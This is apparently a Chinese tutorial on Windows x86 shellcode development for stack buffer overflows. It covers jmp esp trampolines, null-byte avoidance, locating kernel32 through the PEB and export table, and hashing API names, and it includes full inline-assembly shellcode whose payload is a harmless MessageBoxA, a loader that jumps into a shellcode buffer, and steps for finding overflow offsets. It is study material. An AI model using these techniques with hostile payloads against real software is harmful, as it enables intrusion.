简单shellcode
简单shellcode存在的问题
-
利用xdbg工具查找的栈中shellcode起始地址,用该地址淹没返回地址,这个地址会经常发生变化,须找到一个能动态定位到shellcode起始地址的办法。
解决方法:因为执行完ret后,除了eip的值被修改了,esp的值此时能刚好存放shellcode的起始位置。因此只需要从系统调用的dll文件中找到
jmp esp
这条语句(一般格式为0x7xxxxxxx),将这条语句的位置放到返回地址,就能够以它为跳板转移到shellcode执行位置。因为jmp esp这条语句是系统调用的dll文件中的语句,因此不会轻易改变。 -
shellcode中存在0x00导致shellcode被截断
解决方法:因为shellcode的注入方法都是通过程序输入字符串的位置进行注入,因此如果shellcode中出现了0x00,就会导致shellcode提前被截断,这样就无法直行shellcode原本的功能。
- 可以使用xor edi,edi; push edi; 用edi来替换原本shellcode中出现的0x00,避免shellcode出现0x00
-
程序执行完shellcode后,不能正常退出。
解决方法:从系统调用的dll文件中找到ExitProcess函数的位置,在shellcode后面加上
mov eax, 0x7xxxxxxx; //ExitProcess push 0; call eax;
-
一些常用的函数的地址被写死了,例如MessageBox、ExitProcess函数
- TEB:线程环境块
- PEB:进程环境块
解决方法:TEB、PEB从kernel32.dll文件中找到这些函数
- 通过TEB找到PEB。FS存放的是TEB结构体首地址,因此FS:[0x30]==PEB的指针
- 通过PEB找到这些函数。PEB结构体中的Ldr结构体的InitalizationOrderMoudleList保存着许多dll文件的地址。
mov esi, FS:[0x30] // PEB地址 mov esi, [esi+0xc] // Ldr地址 mov esi, [esi+0x1c] // InitalizationOrderMoudleList mov esi, [esi+0x8] // 获得kernel32.dll的DllBase // 下一步,找kernel32.dll文件的导出表(即可供外部使用的api:具体就是LoadLibraryA和GetProcAddress)
优化shellcode
#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode() {
_asm {
// 1. 保存想要找的函数名的字符串
/*
LoadLibraryA: 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 长度:0xD
GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 长度:0xF
user32.dll: 75 73 65 72 33 32 2E 64 6C 6C 00 长度:0xB
MeesageBoxA: 4D 65 73 73 61 67 65 42 6F 78 41 00 长度:0xC
hello 51hook: 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00 长度:0xD
*/
pushad
sub esp, 0x30 // 开辟一段栈空间,增加健壮性
// hello 51hook
mov byte ptr ds : [esp - 1] , 0x0 // 因为最后多出了一个0x00,如果简单使用push的话,会造成内存的浪费,因此可以使用mov来进行单字节压栈
sub esp, 0x1
push 0x6B6F6F68
push 0x3135206F
push 0x6c6c6568
// MessageBoxA
push 0x41786f
push 0x42656761
push 0x7373654d
// user32.dll
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
mov ax, 0x6c6c
mov word ptr ds : [esp - 2] , ax
sub esp, 0x2
push 0x642e3233
push 0x72657375
// GetProcAddress
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
mov ax, 0x7373
mov word ptr ds : [esp - 2] , ax
sub esp, 0x2
push 0x65726464
push 0x41636f72
push 0x50746547
// LoadLibraryA
mov byte ptr ds : [esp - 1] , 0x0
sub esp, 0x1
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov ecx, esp
push ecx
call fun_payload
// 2.通过FS寄存器获取kernel32.dll的基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push ecx
mov esi, dword ptr fs : [0x30]//PEB地址
mov esi, [esi + 0xc]//LDR结构体地址
mov esi, [esi + 0x1c]//list
mov esi, [esi]//第二项 kernel32.dll或者kernelbase.dll的信息
mov eax, [esi + 0x8]//kernel32.dll的dllbase(该PE文件的基址)
pop ecx
mov esp, ebp
pop ebp
retn
//3.获得导出表,根据导出表查找需要的函数
fun_GetProcAddr: //该函数包含三个参数(imageBase,funName,strlen)
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push edx
push ebx
push ecx
mov edx, [ebp+0x8] //dllbase //第一个参数:imageBase
mov esi, [edx+0x3c] //lf_anew
lea esi, [esi+edx] //NT头/PE头
mov esi, [esi+0x78] //导出表的RVA
lea esi, [edx+esi] //导出表的VA
mov edi, [esi + 0x1c]//EAT rva
lea edi, [edx + edi]//EAT va
mov [ebp - 0x4], edi // 将EAT VA存放到局部变量1中
mov edi, [esi + 0x20]//ENT rva
lea edi, [edx + edi]//ENT va
mov [ebp - 0x8], edi // 将ENT VA存放到局部变量2中
mov edi, [esi + 0x24]//EOT rva
lea edi, [edx + edi]//EOT va
mov [ebp - 0xc], edi// 将EOT VA存放到局部变量3中
//查找api esi存放导出表的ENT, edi存放需要查找的函数字符串
xor eax, eax
cld //DF清零,这样就会使得repe cmpsb这条指令逐个向后比较两个字符串的每个字符
jmp tag_begincmp
tag_cmpLoop :
inc eax//eax++
tag_begincmp :
mov esi, [ebp - 0x8]//函数名称表ENT
mov esi, [esi + eax * 4]//第一个名称,但这是RVA
mov edx, [ebp + 0x8]//dllbase
lea esi, [edx + esi]//函数名称 VA
mov edi, [ebp + 0xc]//第二个参数 要找的函数名称地址
mov ecx, [ebp + 0x10]//字符串长度
repe cmpsb
jne tag_cmpLoop
//如果相等的话,eax是数组索引
mov esi, [ebp - 0xc] //EOT
xor edi, edi
mov di, [esi + eax * 2]//word 类型,找到EOT上对应索引的值,该值等于EAT上对应字符串的索引
mov ebx, [ebp - 0x4]//EAT
mov ebx, [ebx + edi * 4]//api addr rva
mov edx, [ebp + 0x8]//dllbase
lea eax, [edx + ebx]//addr,找到了对应的函数的地址
pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0xc // retn; add esp, 0xc; 释放栈空间
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x20
push ecx
push edx
push esi
push edi
// 1. 获取kernel32.dll的DLLBASE
call fun_GetModule
mov [ebp - 0x4], eax // dllbase,保存为第一个局部变量
// 2. 获取LoadLiabraryA
push 0xD // 字符串长度
mov ecx, [ebp + 0x8]//第一个参数,就是之前保存的许多字符串中的LoadLiabraryA字符串
push ecx // 字符串
push eax // dllbase
call fun_GetProcAddr
mov [ebp - 0x8], eax// 函数LoadLibraryA,保存为第二个局部变量
// 3. 获取GetProcessAddr
push 0xF // 字符串长度
mov ecx, [ebp + 0x8]// 第一个参数:LoadLibraryA字符串
lea ecx, [ecx + 0xd]// 第二个参数:GetProcessAddr字符串
push ecx // 字符串
mov edx, [ebp - 0x4] //dllbase
push edx
call fun_getProcAddr
mov[ebp - 0xc], eax// 函数GetProcessAddr,保存为第三个局部变量
//调用LoadLibraryA加载user32.dll
mov ecx, [ebp + 0x8]//第一个参数,就是之前保存的许多字符串中的LoadLiabraryA字符串
lea ecx, [ecx + 0x1c] // 之前保存的许多字符串中的user32.dll字符串
push ecx //将user32.dll字符串作为参数传入
call [ebp - 0x8]//调用LoadLibraryA函数
mov [ebp - 0x10], eax //user32.dllbase
// 调用GetProcessAddr来获取MessageBoxA的地址
mov ecx, [ebp + 0x8]
lea ecx, [ecx + 0x27] // 之前保存的许多字符串中的MessageBoxA字符串
push ecx // MessageBoxA字符串
push [ebp - 0x10] // user32.dllbase
call [ebp - 0xc] // GetProcessAddr(user32.dllbase, MessageBoxA),结果存放在了eax中
// pyaload核心部分
push 0 // 传第四个参数
push 0 // 传第三个参数
mov ebx, [ebp + 0x8]
lea ebx, [ebx + 0x33] // hello 51hook字符串
push ebx //传第二个参数
push 0 //传第一个参数
call eax // 调用MessageBoxA
pop edi
pop esi
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
}
}
int main() {
printf("hello qinjian");
shellCode();
return 0;
}
shellcode调试
#include<windows.h>
#include<iostream>
char shellcode[] = "xxx"
int main()
{
printf("51hook");
_asm
{
lea eax, shellcode
push eax
retn // pop eip,相当于把eax的值赋值给了eip,因为此时栈顶指针esp指向eax
}
return 0;
}
然后用xdbg来调试一下,就可以单步执行shellcode了
寻找溢出点位置的方法
- 输入一段很长的字符串,例如111111111111111111111111111111111111111111111111111111111111111111111111111111111111…,看程序是否崩溃
- 如果崩溃了,就去查看电脑->管理->windows日志->找最近的报错->错误偏移量
- 如果错误偏移量显示0x31313131,那么证明有溢出漏洞
- 然后可以尝试使用一些不重复的字符串,找到溢出点的具体位置,用jmp esp指令的位置替代
- 然后将溢出点后面的字符串用shellcode替换掉即可
问题:shellcode使用很多字符串的话会占用大量的栈空间,比如上述代码中就使用了LoadLibraryA、GetProcAddress、user32.dll、MeesageBoxA、hello 51hook这么多字符串。所以需要瘦身
shellcode瘦身
一般使用hash函数对用到的字符串(例如LoadLibraryA、GetProcAddress、user32.dll、MeesageBoxA、hello 51hook)进行压缩。
使用hash有两个好处:
> - 瘦身
> - 避免\x00截断
#include <Windows.h>
#include <iostream>
// 哈希函数汇编实现
void _declspec(naked) asmHashCode() {
_asm
{
push ebp
mov ebp, esp
sub esp, 0X4
push ecx
push edx
push ebx
mov dword ptr[ebp - 0x4], 0
mov esi, [ebp + 0x8]
xor ecx, ecx
tag_hashLoop :
xor eax, eax
mov al, [esi + ecx]
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19
mov edx, [ebp - 0x4]
shr edx, 0x7
or ebx, edx
add ebx, eax
mov[ebp - 0x4], ebx
inc ecx//ecx++
jmp tag_hashLoop
tag_end :
mov eax, [ebp - 0x4]
pop ebx
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
}
}
DWORD getHashCode(char* strname) {
DWORD digest = 0;
while (*strname) {
digest = (digest << 25 | digest >> 7);
digest = digest + *strname;
strname++;
}
return digest;
}
char strname[] = "heheheh";
int main() {
_asm {
lea eax, strname
push eax
call asmHashCode
}
DWORD result = getHashCode(strname);
printf("====%x", result); // 比较result和eax是否一致
system("pause");
return 0;
}